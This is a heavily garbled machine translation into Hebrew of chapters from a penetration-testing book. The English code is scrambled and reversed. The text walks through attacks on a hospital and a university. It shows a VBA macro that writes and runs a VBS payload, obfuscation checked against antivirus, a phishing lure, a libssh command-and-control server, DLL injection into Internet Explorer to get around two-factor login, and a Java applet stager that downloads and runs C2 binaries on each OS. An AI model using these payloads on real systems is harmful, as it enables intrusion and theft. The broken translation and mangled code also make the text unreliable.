מ טענים .ל כן אנ חנו צרי כים להיות קצתיותריצירתיים .מה אם הייתה דרך לפרו ס
הת קפה לדי ס ק ו ל בצע אותה ל לא שימו ש ב shellcode -ו ל לא צורך ב ABV-להוריד
ו להפעי ל את ה קוד עצמו באופן א ק טי בי?
)(Sub WritePayload
"As String FilePath = "C:\temp\[Link]
Dim PayLoadFile As Integer Dim FilePath
PayloadFile = FreeFile
Machine Translated by Google
סיום מ שנה
1)))
הַ ָ ּבא
[Link]( )
WshShell = [Link]("[Link]") הגדר
[Link] "c:\temp\[Link]"
סיום מ שנה
די מהר ,אז אני מציע צורה כ ל שהי ש ל ערפו ל להת קפה בעו לם האמיתי.
שים ל ב גם שרמת מור כ בות זו מיותרת ל ח לו טין כדי להוריד ו להפעי ל קו בץ הפע לה.
אפ שריהיה לה שתמ ש בפ קודה shellכדי ל קרוא ל כ לים שונים שנ ש ל חו עם Windows
כדי לע שות זאת בפ קודה א חת ) למע שה ,אני אע שה זאת בהמ שך פר ק 6 ,ב סעיף
ש כותרתו "VBA Redux"),א ב ל רציתי תירוץ להציג את הרעיון ש ל שימו ש ב ABV-כדי
להוריד ס קריפ ט VBS.
ערפו ל קוד
י שנן מ ספר דר כים ל ט ש ט ש קוד .למ טרות התרגי ל הזה ,נו כ ל ל קודד את ה שורות ש ל
המ טען כ 46esaB-ו לפענ ח אותן לפני כתי בתן ל קו בץ היעד; זה פרימי טי בי א ב ל שו ב
ממ חי ש .ב כ ל מ קרה ,אם מתג לה מת קפת מא קרו ע לידי גורם אנו שי ו לא ע לידי AV
ונערך תרגי ל מ שפ טי רציני ומו כ שר כדי ל ק בוע את מ טרת ה קוד ,אזי אין כמות ש ל ערפו ל
אםיגן ע ל כוונות ה קוד.
ניתן ל ט ש ט ש קוד זה עודיותר ) לדוגמה עם פונ קציית ;) XORזה באמת ת לוי בך כמה
מור כ ב אתה רוצה להפוך את ה קוד ש לך ,למרות שאני לא ממ ליץ ע ל פתרונות מ ס חריים
הדור שים שי לו ב ספריות ש ל צד ש לי שי במ סמך ,ש כן שו ב א להי סומנו ע לידי AV.
בואו נ ש ל ב את מ טען ה ש ל ב ה שני ש לנו במא קרו VBAש ל ב 1ש לנו ונראה איך הוא עומד
מו ל AV.שו ב ,אנו מ שתמ שים -VirusTotal.ב ראה איור 1.7.
י ש כמה ספרים טו בים ע ל הנד סה ח ברתית ב חוץ .בדו ק את אמנות הה טעיה ש ל קווין
מי טני ק )(Wiley, 2002או את ההנד סה ה ח ברתית ש ל כרי ס האדג'י(Wiley, 2010). :
The Art of Human Hacking
בואו נת חי ל ביצירת העי לה הזו.
א חד האמצעים היעי לים במיו חד לגרום למ טרה לפתו ח מ סמך ו לאפ שר פ קודות מא קרו
-גם כ שהמו ח הא חורי ש להן צוע ק להפ סי ק -הוא לרמוז שמידע נ ש ל ח א ליהם ב טעות;
זה מ שהו שהם לא צרי כים לראות .מ שהו שייתן להםיתרון בדרך כ ל שהי או מ שהו
שיעמיד אותם בנ חיתות אםיתע למו ממנו.
עם ה ש למה או טומ טית ש ל כתו בת ב ל קו חות דוא" ל ,כו לנו ש ל חנו אימיי ל ב חיפזון לאדם
ה לא נ כון ו כו לנו קי ב לנו מ שהו ש לא נועד ע בורנו .זה קורה כ ל הזמן .ש קו ל את המיי ל
ה בא ש"היה צריך להי ש ל ח" לג'ונתן קריימר ב RH-אך ב טעות מצא את דר כו לד"ר
ג'ונתן קריין:
א ל :ד"ר ג'ונתן קריין מאת :ד"ר האר לין
קווינז ל
Machine Translated by Google
ג'ון,
מצורפת ר שימת ההצעות העד כנית לפי טורים בצוות ש לי במ ח ל קת טיפו ל נמרץ .אני לא שמ ח לא בד אף
א חד מ ח ברי הצוות בהת ח ש ב בעומ ס הע בודה הנו כ חי ש לנו ,א ב ל לפ חות ע כ שיוי ש לנו קו ב סי ס לדיון -אני
אהיה ב קמפו ס ביום שי שי אז אנא חזור א לי עד אז.
ב בר כה,
האר לי
נ .ב .המ סמך מאו ב ט ח בהתאם להנ חיות בית ה חו לים .כא שר אתה מת ב ק ש להזין את זה ה סי סמה היא
'אר קהם'.
זו באמת לה מרו שעת במיו חד .ד"ר קריין ע כ שיו בוודאי תוהה אם הוא נמצא בר שימה
ש ל פי טורים.
לאימיי ל זה מצורף המ סמך נו שא המא קרו ש לנו ,כפי שמוצג באיור 1.10.
Machine Translated by Google
Machine Translated by Google
יתרון נו סף בגי שה ש ל מת קפה זו הוא ש) בהנ חה שאין אינדי ק טורים נו ספים כגון התראות
) AVלא ס ביר שהמ טרה תעורר את האזע קה לא ל שו ל ח ו לא -IT,ל מ כיוון שהם לא היו
אמורים לראות את המ סמך הזה מ ל כת חי לה ,האם הם היו?
כדי לה קצות פ קודה או מא קרו ל ל חצן ו לה כני ס ל חצן זה ל ט ק ס ט ש לך ,מ קם את נ קודת
הה כנ סה במ קום ש בו ברצונך שה ל חצןיופיע ו לא חר מ כן בצע את ה ש ל בים ה באים:
"MsgBoxסי סמה שגויה .א ב ט חת ITת ק ב ל הודעה בע ק בות הפרות נו ספות ע לידי "
&
")(Environ$שם מ שתמ ש"((
קי שוריותיציאה -הי כו לת ליזום חי בורים חזרה א ל שרת C2ש לנו דרך האינ טרנ ט
בצורה כזו שממזערת את האפ שרות ש ל הפרעות חומת א ש.
התגנ בות -הימנעות מזיהוי הן ע לידי מאר ח והן ע לידי מער כות זיהוי חדירות
מ בו ס סות ר שת (IDS).
גי שה מר חו ק למער כת ק בצים —י כו לת להעתי ק ק בצים א ל וממנו המ כ שיר
שנפרץ.
ביצוע פ קודה מר חו ק -י כו לת ל בצע קוד או פ קודות במ ח ש ב שנפרץ.
ת ק שורת מאו ב ט חת -כ ל התע בורה בין המאר ח שנפרץ ל שרת C2צרי כה להיות
מוצפנת ב ס טנדר ט תע שייתי ג בוה.
התמדה -המ טען צריך ל שרוד את חו לים מ חד ש.
הע ברת פור טים -נרצה להיות מ סוג לים להפנות תנועה דו -כיוונית דרך המאר ח
שנפרץ.
חו ט ב קרה -ה ב ט חת חי בורים מ חד ש ל שרת C2במ קרה ש ל הפ ס קת ר שת או
מצ ב חריג א חר.
האמצעי המהיר ,ה ק ל והממ חי ש ביותר ל בניית ת שתית מודו לרית ו ח סינת עתיד ש כזו הוא
ה שימו ש בפרו טו קו ל SSHהמאו ב ט ח והר ב-ת כ ליתי להפ ליא .ת שתית כזו ת חו ל ק ל שני
ח ל קים -שרת C2והמ טען עצמו -כ ל א חד עם הדרי שות ה ט כניות ה באות.
שרת C2
Machine Translated by Google
{ )(int main
0; ה חזרif(strcmp(user,"c2payload"))
0; "(( ה חזרdaolyap2c",) סי סמהpmcrts)fi
1; } חזרה
ה חזרssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_BINDPORT_STR, 900)
session=ssh_new(); ssh_disconnect(session); ssh_bind_free(sshbind); ssh_finalize();
0; ה חזר0 } int main(){ sshbind=ssh_bind_new();
. כדי לנ טר את ת קינות ה קי שוריותlibssh י שנן שגרות טיפו ל חריגות המו בנות ב ספריית
להגדרה הזוי ש ח סרונות מ שמעותיים; זה דור ש חי בור ק בוע בין המ טען ל ,2C-שי כו ל
להתמודד ר ק עם חי בור א חד )מנהרה מרו ח קת( ו ל כן מאר ח א חד שנפרץ ב כ ל פעם .אין
או טונומיה או אינ ט ליגנציה מו בנית במ טען כדי להתמודד אפי לו עם מצ בים מע ט חריגים
כמו הצורך לצאת דרך שרת פרו ק סי .עם זאת ,עד סוף ה ספר ,ת שתית C2ש לנו תהיה
מתו ח כמת ,אינ ט ליגנ טית ,חמ קנית וגמי שה מאוד.
Machine Translated by Google
ההת קפה
בד קנו דר כים ל בנייה וא ספ קה ש ל מ טען שייתן לתו קף גי שה מר חו ק לת חנת הע בודה ש ל
מ טרה ,אם כי באופן מוג ב ל ופרימי טי בי .עם זאת ,המ טרה הרא שונית ש לנו נ שארה זהה,
והיא לה שתמ ש בגי שה זו כדי להו סיף או ל שנות רי שומי מ טופ לים תוך התמ קדות במר שמים
לתרופות.
כדי להדגי ש ,היעד ש לנו הוא הפע לת דפדפן ) Internet Explorer (IEש ל מי קרו סופ ט
ומ שתמ ש בו כדי לג שת לאפ לי קציית האינ טרנ ט Pharmattix.אין דפדפן א חר שנתמך ע ל
ידי ה ח ברה .נו כ ל לפרו ס לוגר מפת ח ו ל ל כוד את אי שורי הגי שה ש ל הרופא ,א ב ל זה לא פותר
את ה בעיה ש ל אימות דו-גורמי.
שם המ שתמ ש וה סי סמה הם ר ק ח ל ק מה בעיה ,כי כר טי ס ח כם נדר ש גם כדי לג שת למאגר
הרפואי וי ש להציגו בעת ה כני סה .נו כ ל להמתין מ חוץ למרפאה ,ל שדוד את הרופא ו לגנו ב
את הארנ ק ש לו )ה כר טי סים ה ח כמים( הם בגוד ל ארנ ק נו ח( ,א ב ל גי שה כזו לא תיע לם
מעיניהם ,ו לצורך דוגמנות APT,ה ל קו ח כנראה לאיא שר.
ע קיפת אימות
מה אם נו כ ל לע קוף את כ ל מנגנוני האימות ל ח לו טין? אנ חנוי כו לים! ט כני קה זו נ קראת
סי בו ב דפדפן -בעצם ,אנו מ שתמ שים בגי שה ש לנו לת חנת הע בודה היעד כדי לר שת
הר שאות מהדפדפן ש ל הרופא ו לנצ ל באופן ש קוף את ההר שאות ש לו כדי לע שות בדיו ק
מה שאנ חנו רוצים.
כדי ל בצע את ההת קפה הזו ,אנ חנו צרי כים להיות מ סוג לים לע שות ש לו שה ד ברים:
הע בר תע בורת אינ טרנ ט דרך מנהרת ה HSS-ש לנו והפרו ק סי ה חד ש שנוצר.
בואו נ סת כ ל ע ל ש לו שת ה ש ל בים .אף א חד מהם אינו מור כ ב כמו שהם ע שויים להיראות
בת חי לה.
ש ל ב 1:הזר קת DLL
הזר קת DLLהיא תה ליך ש ל ה כנ סת קוד לתה ליך )תו כנית( קיים )פוע ל( .הדרך ה ק לה ביותר
לע שות זאת היא לה שתמ ש בפונ קציה )( LoadLibraryAב [Link]. -קריאה זו די
תדאג ל כ ל זרימת הע בודה ב כך שהיא ת כני ס ות בצע ע בורנו את -DLLה ש לנו .ה בעיה היא
שהפונ קציה הזו תר שום את -DLLה ש לנו בתה ליך היעד ,שהוא אנ טי-וירו ס גדו ל לא -לא
Machine Translated by Google
ה קצאת זי כרון
PROCESS_VM_OPERATION |
PROCESS_VM_WRITE |
PROCESS_VM_READ,
FALSE, procID );
ה קצאת זי כרון
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
= VirtualAllocEx( hProcess, NULL, dllFileLength,
dllFileLength = GetFileSize( hFile, NULL ); remoteDllAddr
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
NULL); hFile = CreateFileA( dllPath, GENERIC_READ, 0,
GetFullPathName(TEXT("[Link]"), BUFSIZE, dllPath,
Machine Translated by Google
רי ק (;
WriteProcessMemory( hProcess,
lpBuffer, dllFileLength,
lpRemoteLibraryBuffer,
רי ק (; = dwReflectiveLoaderOffset
;)GetReflectiveLoaderOffset(lpWriteBuff
אני מציע שת כיר את קריאות -APIהה ל לו ,ש כן ה בנה כיצד להע ביר קוד בין תה לי כים
היא מיומנות לי בה במוד לים ש ל APTוי שנן סי בות ר בות מדוע או לי נרצה לע שות זאת,
כו ל ל לע קוף את ר שימת ההיתרים ש ל תה לי כים ,למ ש ל ,או להע ביר הת קפה
לאר כי ט ק טורה א חרת או אפי לו להע לות את ההר שאות ש לנו בדרך כ ל שהי .לדוגמה,
אם נרצה לגנו ב אי שורי כני סה ש ל Windows,היינו מזרי קים את לוגר המפת חות ש לנו
לתה ליך WinLogon.נ סת כ ל ע ל גי שות דומות במער כות מ בו ס סות UNIXמאו חריותר.
ב כ ל מ קרה,י שנן מ ספר הת קפות ע בודה קיימות ל ביצוע הזר קת תה ליך אם אינך רוצה
ליצור מ ש לך .פונ קציונ ליות זו מ שו ל בת בצורה ח ל קה במ סגרת Metasploit,שאת
היתרונות וה ח סרונות ש לה נ ב חן בפר קים ה באים.
ביצוע מ שימות כגון ניהו ל קו בצי Cookieוהפע לה ,אימות ו כדומה .בעי קרו ש ל ד בר,י ש
לו את כ ל הפונ קציונ ליות שאתה צריך כדי ליי שם דפדפן אינ טרנ ט או ט כנו לוגיה ק שורה
כגון פרו ק סי HTTP.מ כיוון -WinInetש מנה לת באופן ש קוף את האימות ע ל ב סי ס כ ל
תה ליך ,אם נו כ ל לה חדיר את שרת -proxyה ש לנו לתה ליך -IEה ש ל היעד ש לנו ו לנת ב
את תע בורת האינ טרנ ט ש לנו דר כו ,אז נו כ ל לר שת את מצ בי ההפע לה ש ל היי שומים
ש להם .זה כו ל ל את א לה שאומתו עם אימות דו-גורמי.
בניית שרת פרו ק סי היא מע בר למ סגרת הע בודה הזו; עם זאת,י שנם צדדים
ש לי שיים שמו כרים ספריות פרו ק סי מ ס חריות ע בור מפת חים .הם מיו שמים אך ור ק
באמצעות -APIה ש ל WinInetשניתן ל ש ל ב בהתאם לצר כים ש לך.
סי כום
בפר ק זה ,למדת כיצד לה שתמ ש ב ABV-ו ב SBV-כדי להוריד מ טען פ קודה ו ב קרה .עם
מ טען זה במ קום ,ראית כיצד ניתן ל חדור לתה ליך Internet Explorerו לערער אימות
דו-גורמי ל לא צורך ב שמות מ שתמ ש ,סי סמאות או א סימוני גי שה פיזיים.
ח שו ב לציין שהר בה אנ שים חו ש בים שהת קפות מא קרו הן סוג ש ל נגע ש ל שנות ה09-
שפ שו ט נע למו .האמת היא שהם מעו לם לא ה ל כו
Machine Translated by Google
ש ל נגע ש ל שנות ה 09-שפ שו ט נע לם .האמת היא שהם מעו לם לא נע למו ,א ב ל במ שך
זמן ר ב היו פ שו ט דר כים ק לותיותר להע ביר תו כנות זדוניות למ ח ש ב ש ליעד ) כמו Flash
Adobeלמ ש ל( .מ כיוון שהת קפות כא לה הופ כות פ חות ופ חות כדאיות ,המא קרו ש ל
Officeראה התעוררות מ חוד שת בפופו לריות.
מה הה ש ל כות מהפר ק הזה? רא שית ,מא קרו -כמה פעמים ראית א חד שאתה באמת
צריך כדי לע שות את הע בודה ש לך? אם מי שהו נראה כאי לו הוא עו שה ה כ ל כדי לגרום
לך ל ל חוץ ע ל כפתור ההפע לה הזה ,זה כנראה ח שוד.
זה כנראה ח שוד ב כ ל מ קרה .כתו בת דואר א ל ק טרוני חוזרת אינה מעידה ע ל זהות
ה שו ל ח.
אימות דו-גורמי מע לה את הרף א ב ל הוא לא הו לך להגן מפני תו קף נ חו ש; ל לא ק שר
לאופי הגורם ה שני ) כ לומר ,הודעת כר טי ס ח כם או SMS),התוצאה זהה כאי לו נע שה
שימו ש באימות פ שו ט ש ל גורםי חיד :נוצרת הפע לת HTTPח סרת מצ ב שניתן לנ טר ל
באמצעות גני בת קו בצי Cookieאו אדם-אין -הת קפת הדפדפן .הגנה לעומ ק היא חיונית.
בפר ק ה בא ,ת שתית ה 2C-תהיה מת קדמת ומציאותיתיותר ,ונראה כיצדיי שומוני
Javaי כו לים להיות אמצעי חמ קני ל ש ל ב מ טענים.
תרגי לים
היה צורך ל כ סות הר בה קר קע בפר ק זה באמצעות ט כנו לוגיות שאו לי אינך מ כיר .אני
מציע לע בוד ע ל התרגי לים ה באים כדי לה שיג בי ט חון עצמי עם המו שגים ,אם כי פעו לה
זו אינה תנאי מו קדם להמ שך הפר ק ה בא.
ס קריפ ט ,איך תערפ ל אותו ,תזין אותו לזי כרון בית א חד ב כ ל פעם ,ותפעי ל אותו?
ה שתמ ש -VirusTotalב ו במ שא בים א חרים כדי לראות כיצד מנועי AVמגי בים
ל ט כני קות א לו.
Machine Translated by Google
אוני בר סי טאות נ ח ש בות מזמן למ טרות "ר כות" לתו קפים ו בצד ק.
למע ט מאוד מ כ ל לותי ש ת קצי ב לפת ח ו לת חז ק א ס טר טגיית א ב ט חה קוהרנ טית.יצירת
ס בי בה א קדמית שיתופית היא במו בן מ סוים א שמה ליי שום א ב ט חת מידע ב כ ל רמה.
למ כ ל לותי כו לות להיות ר שתות ר ח בותידיים המ כי לות הר בה מער כות הפע לה
ו ט כנו לוגיות שונות .לרו ב אין סמ כות מר כזית אפ ק טי בית לא ב ט חה והת שתית ה כו ל לת
התפת חה לאורך שנים תוך ה סתמ כות ר בה ע ל מער כות מדור קודם .האמת ה כוא בת
היא ש ב ש ל ב מ סוים אתה הופך להיות גדו ל מ כדי ל שרוד.
י שנן סי בות א חרות ל כך ש ס בי בות חינו כיות ברמה הג בוהה ביותר ע שויות להיות
ממו קדות .לפני כמה שנים ,הייתי חו קר מ שפ טי רא שי ש ביצע תרגי ל תגו בה לאירוע
בא חת המ כ ל לות היו קרתיות בעו לם .המו סד ס בר ) בצד ק( שמער כת רי שומי
הת למידים ש להם נפרצה .הפ שרה ה ביאה ל כך שת סרי טים ש ל בוגר א חד שונו כדי
ל ש קף את פר טי התו קף ,שם ,תאריך לידה ו כו'.
עם זאת ,מ ספר הת למיד לא ה שתנה מ כיוון שזה היה שו בר אתיצירת האינד ק ס
ש ל מ סד הנתונים .לא חר מ כן התו קףיצר ק שר עם המ כ ל לה ו בי ק ש העת ק ש ל
התואר " ש לו" ,תואר רא שון ב ביו לוגיה ,לפיו המ קור א בד ב שריפה .הד ברים הא לה
קורים ,הוא שי לם את דמי הה ח לפה ו קי ב ל העת ק ש ל התואר ע ל שמו .צריך סוג
מיו חד ש ל עצ בים כדי להוציא מ שהו כזה והוא כמע טיצא מזה .בג ל ל מז ל רע
ומ טומ טם ,הוא ה שתמ ש בתואר " ש לו" כדי להגי ש ב ק שה ל קור ס לתואר שני
ב ביו לוגיהימית ) כנראה הת שו קה ש לו( במ כ ל לה א חרת ,א ב ל לרוע מז לו ,ה קור בן
ש לו פנה ל שם בעצמו שנה קודם ל כן.
הת ב ק שו תמ לי לים )המ כי לים בין היתר מ ספרי ת למידים( והד ברים לא ה סתדרו.
ת חי לה הוא שם ה קור בן עצמו
Machine Translated by Google
מ ספרים( והד ברים לא ה סת כמו .בהת ח לה ה קור בן עצמו הוא שם בהונאה ,א ב ל
כפי שמת ברר,י ש הר בהיותר תיעוד ש לך במ כ ל לה מא שר ר ק ההי שגים הא קדמיים
ש לך -דיור ו כ ספים ,למ ש ל.
כמו כן ,הייתה העו בדה הפ שו טה שאף ס טודנ ט או מרצים א חרים לא שמעו ע ל
ה ב חור מעו לם .באופן לא מפתיע ,הה טעיה לא עמדה בניתו ח מדו קד ק .מה שגם
לא מפתיע הוא שזה נ שאר מ חוץ ל חד שות.
לא המ שימה ה כי מוזרה שע בדתי ע ליה ,א ב ל היא שם למע לה.
ר קע ותדרוך מ שימה
אוני בר סי טה גדו לה ויו קרתית ב ברי טניה קי ב לה רי שיון ממ שרד הפנים לערוך מ ח קר ע ל
ז לוף מו ח אנו שי מ טעם הצ בא ה ברי טי .זהו ת חום מ ח קר שנוי במ ח לו קת ,ש כן מ טרתו
היא ל שמור ע ל מו חות אנו שיים ב חיים ומתפ קדים מ חוץ לגוף .אם אתה ח בר ב כו חות
המזוינים ותוהה מאיפה הם מ ביאים מו חות חיים ,אני מציע לך ל קרוא את ה חוזה ש לך
בעיון ר ב .המ ח קר עצמו לא היה מ סווג מ ב חינה ט כנית -רי שיון המ שרד ה ביתי היה עניין
ש ל תיעוד צי בורי -א ב ל א ב ט חת מידע הייתה ת כונה ע ליונה ש ל הפרוי ק ט לא בג ל ל
המ ח לו קת א לא בג ל ל שמידע כזהיי ח ש ב שימו שי באותה מידה למדינת אוי ב .הוזמנה
בדי קת חדירה והיא הגיעה ל שו ל חן ש לי .מ סגרת הזמן לת קיפה הייתה ש בועיים וההי קף
היה פתו ח כ כ ל שניתן מ ב חינה חו קית .די קן האוני בר סי טה עצמו ה שתתף בפגי שת
ההי קפים כמו גם צוות קציני צ בא.
טוו ח ה PI-ה חיצוני ש ל האוני בר סי טה היה 16 /עם א לפי כתו בות תפו סות ומאותיי שומי
אינ טרנ ט .למר בה המז ל ,זה לא היה מו קד התרגי ל .הגורמים המעוניינים רצו לדעת,
כ ל ה שאר ,באיזו מהירות ניתן לג שת לר שת ה לי בה ע לידי תו קף ואיזה מינוף נו סף ניתן
לה שיג ב כ ל הנוגע לגי שה למער כות ב ח טי בת המ ח קר הרפואי .כ ל מי שי ש לו גי שה
לנ כ סי האוני בר סי טה )מ ל בד ס טודנ טים(י כו ל להי ח ש ב באופן לגי טימי כמ טרה -הד בר
נ חתם ע לידי הדי קן עצמו.
לאור מ סגרת הזמן ה קצרה ,ה ח ל טתי ל ל כת ע ל מ בצע "ר ס ק ותפו ס" ר ח ב הי קף.
כ לומר ,ל כוון להר בה מ שתמ שים ב בת א חת ו ל קוות שדי בוץייד ב ק ל קיר כ שתו קפים
אותם .זיהוייעדים מתאימים פירו שויצירת ) ל כ ל הפ חות( ר שימה ש ל שמות ,מ ח ל קות
ו כתו בות דוא" ל.
ה קרי טריונים ע בוריעד פו טנציא לייהיו :ח בר סג ל ע בור הר שאות ג בוהות מ שוערות למאגרי מידע פנימיים
מ סוימים.
א קדמאי בת חום שאינו ק שור למ ח שו ב ב שום צורה -ה ב חירה ה סופית ה סת כמה באנתרופו לוגיה,
אר כיאו לוגיה ומדעי ה ח ברה.יעדים א לויאפ שרו לנו לנ סות גי שה מ חוץ ל ס בי בת המ ח קר הרפואי.
זהו ס ט מדהים ש ל כ לים חינמיים ל בדי קתיי שומי אינ טרנ ט שי כו לים לייצא מ שימות ס קריפ ט ל כ ל ד בר
מ קוד Pythonל #C-כדי לאפ שר או טומציה עדינה.
ע בור המת קפה הזו ,עם ר ק כמה מאות כתו בות דוא" ל להידור ,נ לך בדרך הידנית ונ כיר מע ט את המ טרות.
אם תמ שיך עם ו ק טור הת קפת אימיי ל ,ע ליך כעת לה ח לי ט כיצד תו כ ל להרווי ח חדירה רא שונית לר שת
היעד .מא קרו VBA,לפי הפר ק הרא שון,יהיה מע ט מגו שם ע בור הת קפה ב קנה מידה גדו ליותר כמו זו וזו
דור שת גם הת קנת Microsoft Office.ב ס בי בה א קדמית ס ביר להני ח ש למ שתמ שים תהיה ס ט כ לים שונה
בהר בה ,כמו גם ה סתמ כות ע ל מער כות הפע לה א חרות מ ל בד Microsoft Windows.זה מצי ב אתגר
מעניין -איך אתהי כו ל לפרו ס מ טען דרג שיפע ל ב כ ל ס בי בה ,ו בהת ב ס ס ע ל מה שהוא מג לה ,להוריד
ו להת קין את ת שתית הפי קוד וה ב קרה המתאימה? הת שו בה היא לה שתמ ש -Java.ב
Machine Translated by Google
פת חיי שומון Javaופרו ס אותו בתוך ס בי בה מ בו ס סת אינ טרנ ט מ ש כנעת .עוד ע ל
כך ב קרו ב.
פרו ס הת קפת הנד סה ח ברתית נגד המ שתמ שים שזוהו בע בר כדי לעודד אותם
ל ב קר באתר זה.
לא חר ה ביצוע ,היי שומון חיי ב ל ק בוע אם הוא נמצא ב ס בי בת Windows, OSXאו
Linuxו להוריד את סו כן C2המתאים .זהי כ לו ל כמו בן קידוד מ חד ש ש ל ה ,2C-א ב ל
זה ב שפת Cאז זה צריך להיות מינימ לי.
הצ ל חתי לר כו ש אי שורי חתימת קוד עם כתו בת דוא" ל שנ שמעת ס בירה ב ל בד
ו ט לפון ס לו לרי .ז כור ,אתה ה ל קו ח והם רוצים את ה כ סף ש לך.
כמו בן ,מ כיוון שאתה מ בצע דוגמנות APTבאופן לגי טימי ,אתהי כו ל לה שתמ ש בי שות
מ שפ טית מ ש לך .זה ת לוי בך.
במו בן מ סוים ,א כיפת חתימת קוד היא הד בר ה טו ב ביותר שי כו ל היה ל קרות למ ח ברי
תו כנות זדוניות -Java,ב מ כיוון שהיא או כפת מוד ל א ב ט חה לא מציאותי ל ח לו טין שמרגיע
את המ שתמ שים לת חו שת בי ט חון כוז בת .חתימת קוד בעצם עו בדת כך -אתה המ שתמ ש
סומך ע ל צד ש לי שי שמעו לם לא פג שת )מ ח בר ה קוד( מ כיוון שצד ש לי שי א חר שמעו לם
לא פג שת ) חותם ה קוד( אמר את ה קוד ) שהוא מעו לם לא ראה ( ב טו ח להפע לה.
ימין.
כמו בן ,הנ קודה הרא שונית הייתה לה ב טי ח ש כ ל ה קוד ניתן למע ק ב ,א ב ל זה מ שהו
שא בד באמת ו בתמים בדרך.
ה ט כני קה ה ב סי סית שאנו מדגימים כאן היא כזו ש ח בי בה ע ליה מאוד
צוותי חדירת ר שת NSA/GCHQאו מה שנ קרא Tailored Access Operations
Machine Translated by Google
עם כ ל זה ב ח ש בון ,בואו ניג ש ל קצת קידוד Java.קודם כ ל ,הורד את )Java SE JDKלא
) JREמאתר אור ק ל .מ סי בות בור חות ממני ,מת קין Javaאף פעם לא מגדיר נ כון את
מ שתנה הנתי ב ,אז תצ טרך לע שות זאת בעצמך ) שנה זאת ע בור הגר סה(:
אתה לא רוצה להמ שיך ל חתום ע ל כ ל מ בנה ש ל קוד ה בדי קה ש לך; זה הו לך להיות
מייגע מהר מאוד .תצ טרך לע שות את הפעו לות ה באות כדי להגדיר את ס בי בת הפיתו ח
ש לך .הו סף את המ ח ש ב המ קומי ש לך כ חריג ל כ ל ל חתימת ה קוד ,כפי שמוצג באיור 2.1.
javac [Link]
java HelloWorld
. א ב ל אתה רוצה שה קוד ש לךירוץ בתוך דפדפן אינ טרנ ט,ה כ ל טו ב ויפה
ה קוד אז צריך להיות מע ט שונה כדי לר שת פונ קציונ ליות מ סוימת שהוא צריך לפעו ל
:כיי שומון
}
}
<HTML>
<HEAD>
</TITLE> <תו כנית פ שו טהTITLE>
</HEAD>
<BODY>
שמור את ה קו בץ הזה בתור [Link]ו טען אותו לדפדפן ש לך ,כפי שמוצג באיור
2.2.
ו
><HTML
><HEAD
><TITLEתו כנית פ שו טה ></TITLE
></HEAD
><BODY
></BODY
></HTML
כתי בת Java Applet Stagerבעי קרו ש ל ד בר ,מה שאתה רוצה לע שות
הוא לא במר ח ק מי ליון קי לומ טרים מהמ טרה ש ל הפר ק ה קודם -הורד
והפע ל מ טען C2.עם זאת ,הפעם אתה הו לך להני ח את קיומן ש ל ש לו ש
מער כות הפע לה פו טנציא ליות Windows, Apple OSX, ,ונגזרות לינו ק ס
ר בות .זהידרו ש ה ב חנה מ סוימת מצד -stageerה ו קידומו מ חד ש ש ל
מ טען ה 2C-עצמו ) בעי קר מינו ח נתי ב ק בצים והתמדה( ,א ב ל כ ל ש לו ש
הפ ל טפורמות תומ כות ב C-וlibssh, -אז זה טריוויא לי .אתה ת שנה מאוד
את שרת C2
Machine Translated by Google
מוד ל גם ע בור בדי קה זו כדי להו סיף פונ קציונ ליות נו ספת הנ חוצה.
הר כי ב את ה קוד ה בא:
מ ח ל קה צי בורית { OSDetect
;))"[Link]([Link]("[Link]
}
}
אתהי כו ל לה שתמ ש בפונ קציות שונות כדי ל ק בוע כ ל מיני מאפיינים ש ל Machine
Java Virtualשמצאנו את עצמנו בה ומידע שימו שי א חר ע ל המאר ח ,א ב ל כרגע
מער כת ההפע לה מתאימה לצר כים ש לך .ב כ ל הנוגע -Windows,לאני בדרך כ ל ל לא
עו ס ק במי קוד לפ ל טפורמות x86או x64בנפרד להע ברת מ טען; x86עו בד ב סדר
כמע ט ל כ ל מה שאתה רוצה לע שות .עם זאת,י שנן סי בות טו בות ל ק חת זאת ב ח ש בון
כא שר אתה מ בצע ניצו ל או הע ברה ש ל תה לי כי x64ספציפיים מאוד ,א ב ל זה לא מע סי ק
אותנו כאן.
קדימה ,בואו ניצור ש ל ב כ כ לי שורת פ קודה למ טרות בדי קה .מאו חריותר נארוז אותו
לתוךיי שומון ונ כין אותו לת קיפה .ראה רי שום 2-1.קוד זה מיי בא את ה ספריות הדרו שות
לת ק שורת בר שת ,בוד ק באיזו מער כת הפע לה היעד פוע ל ומוריד את ה 2C-המתאים.
זה פ שו ט ב כוונה למ טרות המ ח שה .ה קוד הזהירוץ "מה קופ סה" אז ת ש ח ק איתו ות שפר
אותו.
{[Link](buf, 0, n);
}
} else if (isMac()) {
{ נ סה
String fileName = "c2_signed_mac_binary";
קי שור כתו בת אתר = חד ש
InputStream in = new BufferedInputStream([Link]());
URL("[Link]
}
FileOutputStream fos = new FileOutputStream(fileName); ;() ב קרו ב[Link]();
byte[] response = [Link]();
Machine Translated by Google
}
fos = new FileOutputStream(fileName); ;() ב קרו ב[Link]();
;()תגו בה[Link][] response = [Link](); FileOutputStream
+x linux_binary;./linux_binary").start(); } catch(IOException ioe){} } else {
[Link](); Process process = new ProcessBuilder("chmod
}
}
}
Machine Translated by Google
}
אנו מ שתמ שים ת חי לה בפונ קציה )" [Link]("[Link]כדי ל ק בוע את מער כת ההפע לה.
אמנם אתהי כו ל להתעמ ק קצתיותר )ע בור גר סאות א חרות ש ל UNIXלמ ש ל( ,זה מ ספי קי סודי לצר כים
ש לך .לא חר שמער כת ההפע להידועה-Stagger ,ה מוריד ומ בצע את המ טען המתאים ע בור אותה
פ ל טפורמה.
שם ה קו בץ ש ל המ שתנה מגדיר הי כןיי כת ב המ טען ע ל המאר ח והפניות למ שתנה ש ל כתו בת האתר ש בהן
-stageerהי כו ל למצוא את המ טען באינ טרנ ט.
ה קפד ל חתום גם ע ל קו בץ ההפע לה ש ל Macאו שת ק ב ל הודעות הר שאה לא נו חות שיוצגו למ שתמ ש.
לא קיימות בעיות כא לה עם Windowsו ;xuniL-הםי בצעו ב שמ חה את מה שניתן להם ל לא אזהרות
למ שתמ ש.
ו ל שנות:
מ ח ל קה צי בורית { JavaStager
ל:
><HTML
><HEAD
> <TITLEעי לה מ ש כנעת >height=120> </applet
archive="[Link]" width=120
HEAD> <BODY> <applet code=[Link]
</TITLE> </
></BODY
></HTML
צור עי לה מ ש כנעת
Machine Translated by Google
